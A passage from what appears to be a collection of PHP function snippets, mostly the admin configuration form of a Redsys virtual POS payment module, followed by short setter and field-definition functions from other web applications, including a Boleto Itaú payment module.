Tools::getValue('moneda2');\n\t\tif ( (Tools::getValue('moneda3') == \"\") and (isset($this->moneda3)) )\n\t\t\t$moneda3 = $this->moneda3;\n\t\telse\n\t\t\t$moneda3 = Tools::getValue('moneda3');\n\t\t\n\t\tif ( (Tools::getValue('codigo') == \"\") and (isset($this->codigo)) )\n\t\t\t$codigo = $this->codigo;\n\t\telse\n\t\t\t$codigo = Tools::getValue('codigo');\n\t\tif ( (Tools::getValue('codigo2') == \"\") and (isset($this->codigo2)) )\n\t\t\t$codigo2 = $this->codigo2;\n\t\telse\n\t\t\t$codigo2 = Tools::getValue('codigo2');\n\t\tif ( (Tools::getValue('codigo3') == \"\") and (isset($this->codigo3)) )\n\t\t\t$codigo3 = $this->codigo3;\n\t\telse\n\t\t\t$codigo3 = Tools::getValue('codigo3');\n\t\tif ( (Tools::getValue('terminal') == \"\") and (isset($this->terminal)) )\n\t\t\t$terminal = $this->terminal;\n\t\telse\n\t\t\t$terminal = Tools::getValue('terminal');\n\t\tif ( (Tools::getValue('terminal2') == \"\") and (isset($this->terminal2)) )\n\t\t\t$terminal2 = $this->terminal2;\n\t\telse\n\t\t\t$terminal2 = Tools::getValue('terminal2');\n\t\tif ( (Tools::getValue('terminal3') == \"\") and (isset($this->terminal3)) )\n\t\t\t$terminal3 = $this->terminal3;\n\t\telse\n\t\t\t$terminal3 = Tools::getValue('terminal3');\n\t\t// Opciones para activar/desactivar SSL\n\t\t$ssl = Tools::getValue('ssl', $this->ssl);\n\t\t$ssl_si = ($ssl == 'si') ? ' checked=\"checked\" ' : '';\n\t\t$ssl_no = ($ssl == 'no') ? ' checked=\"checked\" ' : '';\n\t\t// Opciones para el comportamiento en error en el pago\n\t\t$error_pago = Tools::getValue('error_pago', $this->error_pago);\n\t\t$error_pago_si = ($error_pago == 'si') ? ' checked=\"checked\" ' : '';\n\t\t$error_pago_no = ($error_pago == 'no') ? ' checked=\"checked\" ' : '';\n\t\t// Opciones para activar los idiomas\n\t\t$idiomas_estado = Tools::getValue('idiomas_estado', $this->idiomas_estado);\n\t\t$idiomas_estado_si = ($idiomas_estado == 'si') ? ' checked=\"checked\" ' : '';\n\t\t$idiomas_estado_no = ($idiomas_estado == 'no') ? ' checked=\"checked\" ' : '';\n\t\t\n\t\t// Opciones entorno\n\t\tif (!isset($_POST['urltpv']))\n\t\t\t$entorno = Tools::getValue('env', $this->env);\n\t\telse\n\t\t\t$entorno = $_POST['urltpv'];\n\t\t$entorno_real_redsys = ($entorno==0) ? ' selected=\"selected\" ' : '';\n\t\t$entorno_t_redsys = ($entorno==1) ? ' selected=\"selected\" ' : '';\t\t\n\t\t$entorno_real_sermepa = ($entorno==2) ? ' selected=\"selected\" ' : '';\n\t\t$entorno_t_sermepa = ($entorno==3) ? ' selected=\"selected\" ' : '';\n\t\t// Opciones entorno 2\n\t\tif (!isset($_POST['urltpv2']))\n\t\t\t$entorno2 = Tools::getValue('env2', $this->env2);\n\t\telse\n\t\t\t$entorno2 = $_POST['urltpv2'];\n\t\t$entorno_real_redsys2 = ($entorno2==0) ? ' selected=\"selected\" ' : '';\n\t\t$entorno_t_redsys2 = ($entorno2==1) ? ' selected=\"selected\" ' : '';\t\t\n\t\t$entorno_real_sermepa2 = ($entorno2==2) ? ' selected=\"selected\" ' : '';\n\t\t$entorno_t_sermepa2 = ($entorno2==3) ? ' selected=\"selected\" ' : '';\n\t\t// Opciones entorno 3\n\t\tif (!isset($_POST['urltpv3']))\n\t\t\t$entorno3 = Tools::getValue('env3', $this->env3);\n\t\telse\n\t\t\t$entorno3 = $_POST['urltpv3'];\n\t\t$entorno_real_redsys3 = ($entorno3==0) ? ' selected=\"selected\" ' : '';\n\t\t$entorno_t_redsys3 = ($entorno3==1) ? ' selected=\"selected\" ' : '';\t\t\n\t\t$entorno_real_sermepa3 = ($entorno3==2) ? ' selected=\"selected\" ' : '';\n\t\t$entorno_t_sermepa3 = ($entorno3==3) ? ' selected=\"selected\" ' : '';\n\t\t// Opciones del tipo de firma\n\t\t$tipofirma = Tools::getValue('tipofirma', $this->tipofirma);\n\t \t$tipofirma_a = ($tipofirma==0) ? ' checked=\"checked\" ' : '';\n\t \t$tipofirma_c = ($tipofirma==1) ? ' checked=\"checked\" ' : '';\n \t\t$tipofirma2 = Tools::getValue('tipofirma2', $this->tipofirma2);\n\t \t$tipofirma_a2 = ($tipofirma2==0) ? ' checked=\"checked\" ' : '';\n\t \t$tipofirma_c2 = ($tipofirma2==1) ? ' checked=\"checked\" ' : '';\n\t \t$tipofirma3 = Tools::getValue('tipofirma3', $this->tipofirma3);\n\t \t$tipofirma_a3 = ($tipofirma3==0) ? ' checked=\"checked\" ' : '';\n\t \t$tipofirma_c3 = ($tipofirma3==1) ? ' checked=\"checked\" ' : '';\n\t \n\t // Opciones notificacion\n\t $notificacion = Tools::getValue('notificacion', $this->notificacion);\n\t\t$notificacion_s = ($notificacion==1) ? ' checked=\"checked\" ' : '';\n\t\t$notificacion_n = ($notificacion==0) ? ' checked=\"checked\" ' : '';\n\t\t// Opciones multimoneda\n\t $multimoneda = Tools::getValue('multimoneda', $this->multimoneda);\n\t\t$multimoneda_s = ($multimoneda==1) ? ' checked=\"checked\" ' : '';\n\t\t$multimoneda_n = ($multimoneda==0) ? ' checked=\"checked\" ' : '';\n\t\t\n\t\t// Mostar formulario\n\t\t$this->_html .=\n\t\t'<form action=\"'.$_SERVER['REQUEST_URI'].'\" method=\"post\">\n\t\t\t<fieldset>\n\t\t\t<legend><img src=\"../img/admin/contact.gif\" />'.$this->l('Virtual POS configuration').'</legend>\n\t\t\t\t<table border=\"0\" width=\"100%\" cellpadding=\"0\" cellspacing=\"4\" id=\"form\" style=\"font-size:12px;margin-bottom:3px\">\n\t\t\t\t\t<tr><td colspan=\"2\">\n\t\t\t\t\t\t<fieldset>\n\t\t\t\t\t\t<legend>'.$this->l('Commerce configuration').' 1</legend>\n\t\t\t\t\t\t<table border=\"0\" width=\"100%\" cellpadding=\"2\" cellspacing=\"3\" style=\"font-size:12px\">\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Redsys environment').'</td>\n\t\t\t\t\t\t\t\t\t<td><select style=\"width:150px\" name=\"urltpv\">\n\t\t\t\t\t\t\t\t\t\t<option value=\"0\"'.$entorno_real_redsys.'>'.$this->l('Real Redsys').'</option>\n\t\t\t\t\t\t\t\t\t\t<option value=\"1\"'.$entorno_t_redsys.'>'.$this->l('Testing Redsys').'</option>\n\t\t\t\t\t\t\t\t\t\t<option value=\"2\"'.$entorno_real_sermepa.'>'.$this->l('Real Sermepa').'</option>\n\t\t\t\t\t\t\t\t\t\t<option value=\"3\"'.$entorno_t_sermepa.'>'.$this->l('Testing Sermepa').'</option>\n\t\t\t\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Commerce name').'</td><td><input type=\"text\" name=\"nombre\" value=\"'.htmlentities($nombre, ENT_COMPAT, 'UTF-8').'\" style=\"width: 200px;\" /></div></td>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Secret Key encryption').'</td><td><input type=\"text\" size=\"25\" maxlength=\"20\" name=\"clave\" value=\"'.$clave.'\" style=\"width: 200px;\" /></td>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Terminal number').'</td><td><input type=\"text\" style=\"width:20px\" maxlength=\"3\" name=\"terminal\" value=\"'.$terminal.'\" style=\"width: 80px;\" /> &nbsp;\n\t\t\t\t\t\t\t\t\t'.$this->l('Currency').' &nbsp; <select style=\"width:130px\" name=\"moneda\" style=\"width: 80px;\"><option value=\"\"></option>';\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t$monedaselected = '';\n\t\t\t\t\t\t\t\t\t\tforeach ($currencies AS $currency) {\n\t\t\t\t\t\t\t\t\t\t\tif ($moneda == $currency[\"iso_code_num\"]) \n\t\t\t\t\t\t\t\t\t\t\t{ \n\t\t\t\t\t\t\t\t\t\t\t\t$monedaselected = ' selected=\"selected\" ';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t$monedaselected = '';\n\t\t\t\t\t\t\t\t\t\t\t$this->_html .= '<option value=\"'.$currency['iso_code_num'].'\"'.$monedaselected.'>'.$currency['name'].'</option>';\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$this->_html .= '</select>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Commerce number (FUC)').'</td><td><input type=\"text\" maxlength=\"9\" name=\"codigo\" value=\"'.$codigo.'\" style=\"width: 200px;\" /></td>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Signature type').'</td><td><input type=\"radio\" name=\"tipofirma\" id=\"tipofirma_c\" value=\"1\"'.$tipofirma_c.'/>&nbsp;'.$this->l('Full').'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"radio\" name=\"tipofirma\" id=\"tipofirma_a\" value=\"0\"'.$tipofirma_a.'/>&nbsp;'.$this->l('Full extended').'</td>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Transaction type').'</td>\n\t\t\t\t\t\t\t\t<td><select name=\"trans\" style=\"width: 200px;\"><option value=\"\"></option>';\n\t\t\t\t\t\t\t\t\t$transactionselected = '';\n\t\t\t\t\t\t\t\t\tforeach($transactions as $codigoTrans => $descripcionTrans) \n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif ($transact == $codigoTrans) \n\t\t\t\t\t\t\t\t\t\t\t{ \n\t\t\t\t\t\t\t\t\t\t\t\t$transactionselected = ' selected=\"selected\" ';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t$transactionselected = '';\n\t\t\t\t\t\t\t\t\t\t\t$this->_html .= '<option value=\"'.$codigoTrans.'\"'.$transactionselected.'>'.$descripcionTrans.'</option>';\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$this->_html .= '</select>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</table>\n\t\t\t\t\t\t</fieldset>\n\t\t\t\t\t</td></tr>\n\t\t\t\t\t<tr><td colspan=\"2\">\n\t\t\t\t\t\t<fieldset>\n\t\t\t\t\t\t<legend>'.$this->l('Commerce configuration').' 2</legend>\n\t\t\t\t\t\t<table border=\"0\" width=\"100%\" cellpadding=\"2\" cellspacing=\"3\" style=\"font-size:12px\">\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Redsys environment').'</td>\n\t\t\t\t\t\t\t\t\t<td><select style=\"width:150px\" name=\"urltpv2\">\n\t\t\t\t\t\t\t\t\t\t<option value=\"0\"'.$entorno_real_redsys2.'>'.$this->l('Real Redsys').'</option>\n\t\t\t\t\t\t\t\t\t\t<option value=\"1\"'.$entorno_t_redsys2.'>'.$this->l('Testing Redsys').'</option>\n\t\t\t\t\t\t\t\t\t\t<option value=\"2\"'.$entorno_real_sermepa2.'>'.$this->l('Real Sermepa').'</option>\n\t\t\t\t\t\t\t\t\t\t<option value=\"3\"'.$entorno_t_sermepa2.'>'.$this->l('Testing Sermepa').'</option>\n\t\t\t\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Commerce name').'</td><td><input type=\"text\" name=\"nombre2\" value=\"'.htmlentities($nombre2, ENT_COMPAT, 'UTF-8').'\" style=\"width: 200px;\" /></td>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Secret Key encryption').'</td><td><input type=\"text\" size=\"25\" maxlength=\"20\" name=\"clave2\" value=\"'.$clave2.'\" style=\"width: 200px;\" /></td>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Terminal number').'</td><td><input type=\"text\" style=\"width:20px\" maxlength=\"3\" name=\"terminal2\" value=\"'.$terminal2.'\" style=\"width: 80px;\" /> &nbsp;\n\t\t\t\t\t\t\t\t\t'.$this->l('Currency').' &nbsp; <select style=\"width:130px\" name=\"moneda2\" style=\"width: 80px;\"><option value=\"\"></option>';\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t$monedaselected2 = '';\n\t\t\t\t\t\t\t\t\t\tforeach ($currencies AS $currency) {\n\t\t\t\t\t\t\t\t\t\t\tif ($moneda2 == $currency[\"iso_code_num\"]) \n\t\t\t\t\t\t\t\t\t\t\t{ \n\t\t\t\t\t\t\t\t\t\t\t\t$monedaselected2 = ' selected=\"selected\" ';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t$monedaselected2 = '';\n\t\t\t\t\t\t\t\t\t\t\t$this->_html .= '<option value=\"'.$currency['iso_code_num'].'\"'.$monedaselected2.'>'.$currency['name'].'</option>';\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$this->_html .= '</select>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Commerce number (FUC)').'</td><td><input type=\"text\" maxlength=\"9\" name=\"codigo2\" value=\"'.$codigo2.'\" style=\"width: 200px;\" /></td>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Signature type').'</td><td><input type=\"radio\" name=\"tipofirma2\" id=\"tipofirma_c2\" value=\"1\"'.$tipofirma_c2.'/>&nbsp;'.$this->l('Full').'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"radio\" name=\"tipofirma2\" id=\"tipofirma_a2\" value=\"0\"'.$tipofirma_a2.'/>&nbsp;'.$this->l('Full extended').'</td>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Transaction type').'</td>\n\t\t\t\t\t\t\t\t<td><select name=\"trans2\" style=\"width: 200px;\"><option value=\"\"></option>';\n\t\t\t\t\t\t\t\t\t$transactionselected2 = '';\n\t\t\t\t\t\t\t\t\tforeach($transactions as $codigoTrans => $descripcionTrans) \n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif ($transact2 == $codigoTrans) \n\t\t\t\t\t\t\t\t\t\t\t{ \n\t\t\t\t\t\t\t\t\t\t\t\t$transactionselected2 = ' selected=\"selected\" ';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t$transactionselected2 = '';\n\t\t\t\t\t\t\t\t\t\t\t$this->_html .= '<option value=\"'.$codigoTrans.'\"'.$transactionselected2.'>'.$descripcionTrans.'</option>';\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$this->_html .= '</select>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</table>\n\t\t\t\t\t\t</fieldset>\n\t\t\t\t\t</td></tr>\n\t\t\t\t\t<tr><td colspan=\"2\">\n\t\t\t\t\t\t<fieldset>\n\t\t\t\t\t\t<legend>'.$this->l('Commerce configuration').' 3</legend>\n\t\t\t\t\t\t<table border=\"0\" width=\"100%\" cellpadding=\"2\" cellspacing=\"3\" style=\"font-size:12px\">\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Redsys environment').'</td>\n\t\t\t\t\t\t\t\t\t<td><select style=\"width:150px\" name=\"urltpv3\">\n\t\t\t\t\t\t\t\t\t\t<option value=\"0\"'.$entorno_real_redsys3.'>'.$this->l('Real Redsys').'</option>\n\t\t\t\t\t\t\t\t\t\t<option value=\"1\"'.$entorno_t_redsys3.'>'.$this->l('Testing Redsys').'</option>\n\t\t\t\t\t\t\t\t\t\t<option value=\"2\"'.$entorno_real_sermepa3.'>'.$this->l('Real Sermepa').'</option>\n\t\t\t\t\t\t\t\t\t\t<option value=\"3\"'.$entorno_t_sermepa3.'>'.$this->l('Testing Sermepa').'</option>\n\t\t\t\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Commerce name').'</td><td><input type=\"text\" name=\"nombre3\" value=\"'.htmlentities($nombre3, ENT_COMPAT, 'UTF-8').'\" style=\"width: 200px;\" /></td>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Secret Key encryption').'</td><td><input type=\"text\" size=\"25\" maxlength=\"20\" name=\"clave3\" value=\"'.$clave3.'\" style=\"width: 200px;\" /></td>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Terminal number').'</td><td><input type=\"text\" style=\"width:20px\" maxlength=\"3\" name=\"terminal3\" value=\"'.$terminal3.'\" style=\"width: 80px;\" /> &nbsp;\n\t\t\t\t\t\t\t\t\t'.$this->l('Currency').' &nbsp; <select style=\"width:130px\" name=\"moneda3\" style=\"width: 80px;\"><option value=\"\"></option>';\t\t\t\t\n\t\t\t\t\t\t\t\t\t$monedaselected3 = '';\n\t\t\t\t\t\t\t\t\tforeach ($currencies AS $currency) {\n\t\t\t\t\t\t\t\t\t\tif ($moneda3 == $currency[\"iso_code_num\"]) \n\t\t\t\t\t\t\t\t\t\t{ \n\t\t\t\t\t\t\t\t\t\t\t$monedaselected3 = ' selected=\"selected\" ';\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t$monedaselected3 = '';\n\t\t\t\t\t\t\t\t\t\t$this->_html .= '<option value=\"'.$currency['iso_code_num'].'\"'.$monedaselected3.'>'.$currency['name'].'</option>';\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$this->_html .= '</select>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Commerce number (FUC)').'</td><td><input type=\"text\" maxlength=\"9\" name=\"codigo3\" value=\"'.$codigo3.'\" style=\"width: 200px;\" /></td>\n\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Signature type').'</td><td><input type=\"radio\" name=\"tipofirma3\" id=\"tipofirma_c3\" value=\"1\"'.$tipofirma_c3.'/>&nbsp;'.$this->l('Full').'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"radio\" name=\"tipofirma3\" id=\"tipofirma_a3\" value=\"0\"'.$tipofirma_a3.'/>&nbsp;'.$this->l('Full extended').'</td>\n\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Transaction type').'</td>\n\t\t\t\t\t\t\t<td><select name=\"trans3\" style=\"width: 200px;\"><option value=\"\"></option>';\n\t\t\t\t\t\t\t\t\t$transactionselected3 = '';\n\t\t\t\t\t\t\t\t\tforeach($transactions as $codigoTrans => $descripcionTrans) \n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif ($transact3 == $codigoTrans) \n\t\t\t\t\t\t\t\t\t\t\t{ \n\t\t\t\t\t\t\t\t\t\t\t\t$transactionselected3 = ' selected=\"selected\" ';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t$transactionselected3 = '';\n\t\t\t\t\t\t\t\t\t\t\t$this->_html .= '<option value=\"'.$codigoTrans.'\"'.$transactionselected3.'>'.$descripcionTrans.'</option>';\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$this->_html .= '</select>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</table>\n\t\t\t\t\t\t</fieldset>\n\t\t\t\t\t</td></tr>\t\t\t\t\t\n\t\t\t\t</table>\n\t\t\t</fieldset>\n\t\t\t<br>\n\t\t\t<fieldset>\n\t\t\t<legend><img src=\"../img/admin/cog.gif\" />'.$this->l('Customization').'</legend>\n\t\t\t\t<table border=\"0\" width=\"680\" cellpadding=\"0\" cellspacing=\"0\" id=\"form\">\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td width=\"450\" style=\"height: 25px;\">'.$this->l('Multicurrency activation (only in stores with more than one terminal)').'</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t<input type=\"radio\" name=\"multimoneda\" id=\"multimoneda_1\" value=\"1\"'.$multimoneda_s.'/>\n\t\t\t\t\t\t\t<img src=\"../img/admin/enabled.gif\" alt=\"'.$this->l('Enabled').'\" title=\"'.$this->l('Enabled').'\" />\n\t\t\t\t\t\t\t<input type=\"radio\" name=\"multimoneda\" id=\"multimoneda_0\" value=\"0\"'.$multimoneda_n.'/>\n\t\t\t\t\t\t\t<img src=\"../img/admin/disabled.gif\" alt=\"'.$this->l('Disabled').'\" title=\"'.$this->l('Disabled').'\" />\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td width=\"450\" style=\"height: 25px;\">'.$this->l('HTTP notification (if disabled not process order and empty your cart)').'</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t<input type=\"radio\" name=\"notificacion\" id=\"notificacion_1\" value=\"1\"'.$notificacion_s.'/>\n\t\t\t\t\t\t\t<img src=\"../img/admin/enabled.gif\" alt=\"'.$this->l('Enabled').'\" title=\"'.$this->l('Enabled').'\" />\n\t\t\t\t\t\t\t<input type=\"radio\" name=\"notificacion\" id=\"notificacion_0\" value=\"0\"'.$notificacion_n.'/>\n\t\t\t\t\t\t\t<img src=\"../img/admin/disabled.gif\" alt=\"'.$this->l('Disabled').'\" title=\"'.$this->l('Disabled').'\" />\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td width=\"340\" style=\"height: 25px;\">'.$this->l('URL validation with SSL').'</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t<input type=\"radio\" name=\"ssl\" id=\"ssl_1\" value=\"si\" '.$ssl_si.'/>\n\t\t\t\t\t\t\t<img src=\"../img/admin/enabled.gif\" alt=\"'.$this->l('Enabled').'\" title=\"'.$this->l('Enabled').'\" />\n\t\t\t\t\t\t\t<input type=\"radio\" name=\"ssl\" id=\"ssl_0\" value=\"no\" '.$ssl_no.'/>\n\t\t\t\t\t\t\t<img src=\"../img/admin/disabled.gif\" alt=\"'.$this->l('Disabled').'\" title=\"'.$this->l('Disabled').'\" />\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td width=\"340\" style=\"height: 25px;\">'.$this->l('On error, allowing choose another payment method').'</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t<input type=\"radio\" name=\"error_pago\" id=\"error_pago_1\" value=\"si\" '.$error_pago_si.'/>\n\t\t\t\t\t\t\t<img src=\"../img/admin/enabled.gif\" alt=\"'.$this->l('Enabled').'\" title=\"'.$this->l('Enabled').'\" />\n\t\t\t\t\t\t\t<input type=\"radio\" name=\"error_pago\" id=\"error_pago_0\" value=\"no\" '.$error_pago_no.'/>\n\t\t\t\t\t\t\t<img src=\"../img/admin/disabled.gif\" alt=\"'.$this->l('Disabled').'\" title=\"'.$this->l('Disabled').'\" />\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td width=\"340\" style=\"height: 25px;\">'.$this->l('Enable languages in POS').'</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t<input type=\"radio\" name=\"idiomas_estado\" id=\"idiomas_estado_si\" value=\"si\" '.$idiomas_estado_si.'/>\n\t\t\t\t\t\t\t<img src=\"../img/admin/enabled.gif\" alt=\"'.$this->l('Enabled').'\" title=\"'.$this->l('Enabled').'\" />\n\t\t\t\t\t\t\t<input type=\"radio\" name=\"idiomas_estado\" id=\"idiomas_estado_no\" value=\"no\" '.$idiomas_estado_no.'/>\n\t\t\t\t\t\t\t<img src=\"../img/admin/disabled.gif\" alt=\"'.$this->l('Disabled').'\" title=\"'.$this->l('Disabled').'\" />\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>\n\t\t\t\t</table>\n\t\t\t</fieldset>\n\t\t\t<br>\n\t\t<input class=\"button\" name=\"btnSubmit\" value=\"'.$this->l('Save configuration').'\" type=\"submit\" />\n\t\t</form>';\n\t}", "public function setVariablesEntrada()\r\n\t{\r\n\t\t$request = $this->requestStack->getCurrentRequest();\r\n\t\t\r\n\t\t$this->tipo = $request->get('tipo');\r\n\t\t$this->apoyoTapas = $request->get('apoyoTapas');\r\n\t\t$this->prof = $request->get('prof');\r\n\t\t$this->anchoPanel = $request->get('ancho');\r\n\t\t$this->pisosManual = $request->get('pisosManual');\r\n\t\t$this->perfilIntermedio = $request->get('perfilIntermedio');\r\n\t\t$this->pisosManual7 = $request->get('pisosManual7');\t\t\r\n\t\t$this->chapaPisoAdicional = $request->get('chapaPiso');\r\n\t\t$this->cantChapaPisoAdicional = $request->get('cantAdicional');\r\n\t\t$this->maxAlt = $request->get('maxAlt');\r\n\t\t$this->cantPaneles = $request->get('cantPaneles');\r\n\t\t$this->abiertoCerrado = $request->get('aletaTipo');\r\n\t\t$this->aletaVenA = $request->get('aletaVenA');\r\n\t\t$this->aletaFluA = $request->get('aletaFluA');\r\n\t\t\r\n\t\treturn $this;\r\n\t}", "private function _set_fields()\n {\n @$this->form_data->question_id = 0;\n\n $this->form_data->category_id = 0;\n $this->form_data->sub_category_id = 0;\n $this->form_data->sub_two_category_id = 0;\n $this->form_data->sub_three_category_id = 0;\n $this->form_data->sub_four_category_id = 0;\n\n $this->form_data->ques_text = '';\n $this->form_data->survey_weight = '';\n $this->form_data->ques_type = '';\n $this->form_data->qus_fixed = 0;\n $this->form_data->ques_expiry_date = '';\n\n\n $this->form_data->filter_question = '';\n $this->form_data->filter_category = 0;\n $this->form_data->filter_type = '';\n $this->form_data->filter_expired = '';\n }", "private function camposObligatorios()\n {\n $this->setRequiredField(\"mascara\");\n $this->setRequiredField(\"etiqueta\");\n/*\n $this->setRequiredField(\"id_padre\");\n*/\n $this->setRequiredField(\"posicion\");\n $this->setRequiredField(\"visible\");\n $this->setRequiredField(\"nivel_acceso\");\n/*\n $this->setRequiredField(\"accion\");\n*/\n\n return;\n }", "function SetCustomVars()\r\n\t\t{\r\n\r\n\r\n\r\n\t\t\t$this->_variables['availablecountries'] = array(\"name\" => \"Continentes\",\r\n\t\t\t \"type\" => \"dropdown\",\r\n\t\t\t \"help\" => GetLang('boletoitauContinentes'),\r\n\t\t\t \"default\" => \"all\",\r\n\t\t\t \"required\" => true,\r\n\t\t\t \"options\" => GetCountryListAsNameValuePairs(),\r\n\t\t\t\t\"multiselect\" => true\r\n\t\t\t);\t\t\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t$this->_variables['desconto'] = array(\"name\" => \"Desconto em %\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => '',\r\n\t\t\t \"default\" => \"0\",\r\n\t\t\t \"required\" => true\r\n\t\t\t);\r\n\t\t\t\r\n\t\t\t\r\n\r\n\r\n\t\t\t$this->_variables['boletoitaucedente'] = array(\"name\" => \"Cedente\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauCedente'),\r\n\t\t\t \"default\" => \"\",\r\n\t\t\t \"required\" => true\r\n\t\t\t);\r\n\r\n\t\t\t$this->_variables['boletoitauagencia'] = array(\"name\" => \"Agencia\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauAgencia'),\r\n\t\t\t \"default\" => \"\",\r\n\t\t\t \"required\" => true\r\n\t\t\t\t);\r\n\r\n\t\t\t$this->_variables['boletoitauconta'] = array(\"name\" => \"Conta\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauConta'),\r\n\t\t\t \"default\" => \"\",\r\n\t\t\t \"required\" => true\r\n\t\t\t);\r\n\t\t\r\n\t\t\t$this->_variables['boletoitaucarteira'] = array(\"name\" => \"Carteira\",\r\n\t\t\t \"type\" => \"dropdown\",\r\n\t\t\t \"help\" => GetLang('boletoitauCarteira'),\r\n\t\t\t \"default\" => \"20\",\r\n\t\t\t \"options\" => array('175' => '175', '109' => '109'),\r\n\t\t\t \"required\" => true,\r\n\t\t\t \"multiselection\" => false\r\n\t\t\t);\r\n\t\t\t\r\n\r\n\r\n\r\n\t//_-----------------------------------------------------------------------------------------demonstrativos\r\n\t\r\n\t\t\t$this->_variables['demoum'] = array(\"name\" => \"Demonstra&ccedil;&atilde;o 1\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => 